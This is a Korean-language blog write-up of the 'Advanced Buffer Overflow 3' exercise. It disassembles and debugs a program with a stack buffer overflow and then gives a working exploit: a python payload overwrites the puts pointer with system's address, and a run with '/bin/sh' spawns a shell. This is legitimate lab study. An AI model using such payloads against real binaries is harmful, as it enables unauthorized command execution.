기본 콘텐츠로 건너뛰기

Insecure-programming-abo3

Insecure-programming-abo3

Insecure Programming by example

Advanced Buffer Overflow 3

int main(int argv, char **argc) {
	extern system, puts;
	void (*fn)(char*)=(void(*)(char*))&system;
	char buf[256];

	fn=(void(*)(char*))&puts;
	strcpy(buf, argc[1]);
	fn(argc[2]);
	exit(1);
}

이전 문제들에 비해 복잡성을 가진 것을 확인할 수 있다.

하나씩 살펴보면 extern 키워드를 이용하여 system함수과 puts함수를 포인터 변수에 선언하는 내용과 두 번째 인자 값(argc[2])를 puts 함수의 인자로 설정하여 호출하는 것을 볼 수 있다.

objdump를 이용하여 어셈블리어를 살펴보자.

08048414 <main>:
 8048414:   55                      push   ebp
 8048415:   89 e5                   mov    ebp,esp
 8048417:   81 ec 28 01 00 00       sub    esp,0x128
 804841d:   83 e4 f0                and    esp,0xfffffff0
 8048420:   b8 00 00 00 00          mov    eax,0x0
 8048425:   29 c4                   sub    esp,eax
 8048427:   c7 45 f4 fc 82 04 08    mov    DWORD PTR [ebp-12],0x80482fc
 804842e:   c7 45 f4 2c 83 04 08    mov    DWORD PTR [ebp-12],0x804832c
 8048435:   8b 45 0c                mov    eax,DWORD PTR [ebp+12]
 8048438:   83 c0 04                add    eax,0x4
 804843b:   8b 00                   mov    eax,DWORD PTR [eax]
 804843d:   89 44 24 04             mov    DWORD PTR [esp+4],eax
 8048441:   8d 85 e8 fe ff ff       lea    eax,[ebp-0x118]
 8048447:   89 04 24                mov    DWORD PTR [esp],eax
 804844a:   e8 cd fe ff ff          call   804831c <strcpy@plt>
 804844f:   8b 45 0c                mov    eax,DWORD PTR [ebp+12]
 8048452:   83 c0 08                add    eax,0x8
 8048455:   8b 00                   mov    eax,DWORD PTR [eax]
 8048457:   89 04 24                mov    DWORD PTR [esp],eax
 804845a:   8b 45 f4                mov    eax,DWORD PTR [ebp-12]
 804845d:   ff d0                   call   eax
 804845f:   c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
 8048466:   e8 d1 fe ff ff          call   804833c <exit@plt>
 804846b:   90                      nop

프롤로그 후 ebp - 12 위치에 0x80482fc, 0x804832c를 기록하였다. 0x80482fc 기록 후에 위치 이동 없이 0x804832c를 기록하였으므로 0x80482fc는 사용하지 않고 0x804832c를 덮어 쓴 것을 알 수 있다. C 소스 코드로 짐작하건데 0x80482fc는 system 함수 주소, 0x804832c는 puts 함수 주소인 것을 예상할 수 있다.

ebp + 12에서 4만큼 + 이동한 곳에 저장된 값을 eax에 저장하여 + 4 연산 후 해당 위치에 저장된 값을 esp + 4 위치에 값으로 저장하고, ebp - 0x118 에 저장된 값을 esp위치에 기록하여 strcpy함수 인자로 전달하고 있다. 이것으로 ebp + 12에서 4만큼 + 이동한 주소에 arg[1] 주소가 저장되어 있다는 것을 알 수 있다.

ebp + 12에 저장된 값을 eax에 저장하여 + 8 연산 후 해당 위치에 저장된 값을 esp에 저장하고, ebp - 12에 저장된 0x804832c(puts)를 함수 호출하고 있다. 이것으로 ebp+12에서 8만큼 + 이동한 주소에 arg[2] 주소가 저장되어 있다는 것을 알 수 있다.

gdb를 실행하여 추측한 내용이 맞는 지 확인해보자.

(gdb) b main
Breakpoint 1 at 0x804841d
(gdb) set disassembly-flavor intel
(gdb) r 1234 5678
Starting program: /home/iamroot/workspace/abo/3/abo3 1234 5678

Breakpoint 1, 0x0804841d in main ()
(gdb) disas
Dump of assembler code for function main:
0x08048414 <main+0>:    push   ebp
0x08048415 <main+1>:    mov    ebp,esp
0x08048417 <main+3>:    sub    esp,0x128
0x0804841d <main+9>:    and    esp,0xfffffff0
0x08048420 <main+12>:   mov    eax,0x0
0x08048425 <main+17>:   sub    esp,eax
0x08048427 <main+19>:   mov    DWORD PTR [ebp-12],0x80482fc
0x0804842e <main+26>:   mov    DWORD PTR [ebp-12],0x804832c
0x08048435 <main+33>:   mov    eax,DWORD PTR [ebp+12]
0x08048438 <main+36>:   add    eax,0x4
0x0804843b <main+39>:   mov    eax,DWORD PTR [eax]
0x0804843d <main+41>:   mov    DWORD PTR [esp+4],eax
0x08048441 <main+45>:   lea    eax,[ebp-0x118]
0x08048447 <main+51>:   mov    DWORD PTR [esp],eax
0x0804844a <main+54>:   call   0x804831c <strcpy@plt>
0x0804844f <main+59>:   mov    eax,DWORD PTR [ebp+12]
0x08048452 <main+62>:   add    eax,0x8
0x08048455 <main+65>:   mov    eax,DWORD PTR [eax]
0x08048457 <main+67>:   mov    DWORD PTR [esp],eax
0x0804845a <main+70>:   mov    eax,DWORD PTR [ebp-12]
0x0804845d <main+73>:   call   eax
0x0804845f <main+75>:   mov    DWORD PTR [esp],0x1
0x08048466 <main+82>:   call   0x804833c <exit@plt>
End of assembler dump.
(gdb) x/x 0x80482fc
0x80482fc <system@plt>: 0x963825ff
(gdb) x/x 0x804832c
0x804832c <puts@plt>:   0x964425ff
(gdb) x/8s *0xbffff894
0xbffff9c5:      "/home/iamroot/workspace/abo/3/abo3"
0xbffff9e8:      "1234"
0xbffff9ed:      "5678"
0xbffff9f2:      "SSH_AGENT_PID=7009"
0xbffffa05:      "TERM=xterm"
0xbffffa10:      "SHELL=/bin/bash"
0xbffffa20:      "GTK_RC_FILES=/etc/gtk/gtkrc:/home/iamroot/.gtkrc-1.2-gnome2"
0xbffffa5c:      "WINDOWID=20975673"
(gdb) b *main+41
Breakpoint 2 at 0x804843d
(gdb) c
Continuing.

(gdb) x/s $eax
0xbffff9e8:      "1234"
(gdb) b *main+67
Breakpoint 3 at 0x8048457
(gdb) c
Continuing.

Breakpoint 3, 0x08048457 in main ()
(gdb) x/s $eax
0xbffff9ed:      "5678"

프로그램 시 전달한 인자 값에 대한 길이 검증이 존재하지 않으므로 스택에 할당된 buf 배열 공간보다 많은 값을 arg[1] 값으로 설정하여 전달할 시 strcpy함수로 puts 함수 포인터를 덮어쓸 수 있다. (ebp - 0x118 -> ebp -12)

arg[2] 값은 puts 함수 인자 값으로 사용된다. 만약 puts함수 대신 system 함수 설정이 가능하다면 system함수를 이용하여 임의의 시스템 명령어 수행이 가능할 것을 예상할 수 있다.

puts 함수 주소를 system함수 주소로 덮어 쓰는 코드를 작성하여 첫 번째 인자 값으로, "/bin/sh"를 두 번째 인자 값으로 하여 프로그램을 실행해보자.

# python -c "print('\x90'*264+'\xfc\x82\x04\x08')" > arg
# ./abo3 $(cat arg) /bin/sh
sh-3.2$

프로그램에서 “/bin/sh” 명령어를 수행하여 쉘 커멘드 창이 실행된 것을 확인할 수 있다.

gdb를 이용하여 동작 시 메모리 값을 확인해보자. gdb

# gdb -q abo3 
(gdb) b *main+70
Breakpoint 1 at 0x804845a

(gdb) r $(cat arg) /bin/sh
Starting program: /home/iamroot/workspace/abo/3/abo3 $(cat arg) /bin/sh


Breakpoint 1, 0x0804845a in main()
(gdb) x/x $ebp + 12
0xbffff704:     0xbffff784
(gdb) x/s *(0xbffff784 + 4)
0xbffff8dd:      '\220' <repeats 200 times>...
(gdb) x/s *(0xbffff784 + 8)
0xbffff9ea:      "/bin/sh"
(gdb) x/wx $ebp -12
0xbffff6ec:     0x08048300
(gdb) x 0x08048300
0x8048300 <system@plt+4>:       0x08680804
(gdb) c
Continuing.
sh-3.2$

전체 목록 보기 : Insecure programming
진행 환경 : # cat /proc/version
Linux version 2.6.20-15-generic (root@palmer) (gcc version 4.1.2 (Ubuntu 4.1.2-0ubuntu4)) #2 SMP Sun Apr 15 07:36:31 UTC 2007`

이 블로그의 인기 게시물

X-Frame-Options-Test

X-Frame-Options 테스트하기 X-Frame-Options 페이지 구성 시 삽입된 프레임의 출처를 검증하여 허용하지 않는 페이지 URL일 경우 해당 프레임을 포함하지 않는 확장 응답 헤더이다. 보안 목적으로 사용되는 확장 헤더로 아직 적용되지 않은 사이트들이 많지만 앞으로 점차 적용될 것으로 보인다. X-Frame OptionsDENY, SAMEORIGIN, ALLOW-FROM 옵션을 이용하여 세부 정책을 설정한다. 옵션 설명 DENY Frame 비허용 SAMEORIGIN 동일한 ORIGIN에 해당하는 Frame만 허용 ALLOW-FROM 지정된 ORIGIN에 해당하는 Frame만 허용 크롬 4.1 , IE 8 , 오페라 10.5 , 사파리 4.0 , 파이어폭스 3.6.9 이상에서는 DENY , SAMEORIGIN 이 적용되며, ALLOW-FROM 은 각 브라우저 마다 지원 현황이 다르다. https://developer.mozilla.org/ko/docs/Web/HTTP/Headers/X-Frame-Options 해당 확장헤더는 브라우저에서 처리하는 응답 헤더이므로 미지원 브라우저 사용 시 설정과 무관하게 페이지 내 포함된 모든 Frame을 출력한다. (검증 테스트: Opera 5.0.0) 테스트 코드 DENY <!DOCTYPE html> < html lang = "en" > < head > < meta http-equiv = "X-Frame-Options" content = "deny" /> < title > Deny option Test </ title > </ head > < bod

C-lang-vulnerabilities

C 언어 공통 취약점 해당 글은 CERN Computer Security의 Common vulnerabilities guide for C programmers 글을 참고하여 작성하였습니다. C언어에서 발생하는 대부분의 취약점은 버퍼 오버플로우와 문자열 처리 미흡과 관련되어 있다. 이는 segmentation fault를 유발하고 입력 값을 조작할 경우 임의 코드 실행으로 이어질 수 있다. 이에 대부분의 에러와 조치 방안을 살펴보자고 한다. gets stdio gets() 함수는 버퍼 길이를 검증하지 않아 사용 시 항상 취약성을 야기한다. Vulnerable Code #include<stdio.h> int main() { char username[ 8 ]; int allow = 0 ; printf ( "Enter your username, please: " ); gets(username); //악의적인 값 삽입 if (grantAccess(username)) { allow = 1 ; } if (allow != 0 ) { //username을 오버플로우하여 덮어씀 privilegeAction(); } return 0 ; } Mitigation fgets() 함수 사용 및 동적 메모리 할당 #include <stdio.h> #include <stdlib.h> #define LENGTH 8 int main () { char * username, *nlptr; int allow = 0 ; username = malloc (LENGTH * sizeof (*username)); if (!username) return EXIT_FAILURE; printf ( "Enter your username, please:

HTML/CSS를 활용하여 카카오톡 클론 만들기

시간을 내어 HTML과 CSS를 공부한 것은 대학생 때가 마지막이었던 것으로 기억한다. 그 동안 사이드 프로젝트로 진행했던 여러 아이디어들을 결국 서비스하지 못했던 결정적인 이유는 프론트 엔드 기술 부족이었다고 생각하고 우선 HTML과 CSS 학습을 진행하였다. 프론트 엔드 기술은 많은 발전을 거듭하여 예전에 비해 큰 복잡성을 가지게 되었다. 빠른 시간 안에 숙지하지 못한 기법들에 대해서 알아보고 구현하고자 하는 아이디어에 활용할 수 있을 정도로 진행해보고자 한다. 또한 보안적 관점에서 발생할 수 있는 프론트 엔드 위협에 대해 파악할 수 있는 좋은 밑거름이 되길 기대해본다. 우선적으로 진행한 카카오 톡 디자인 클론은 노마드 아카데미의 강의를 수강하며 진행하였고 결과는 아래의 링크에서 확인할 수 있다. 소스코드 저장소 구현된 웹 페이지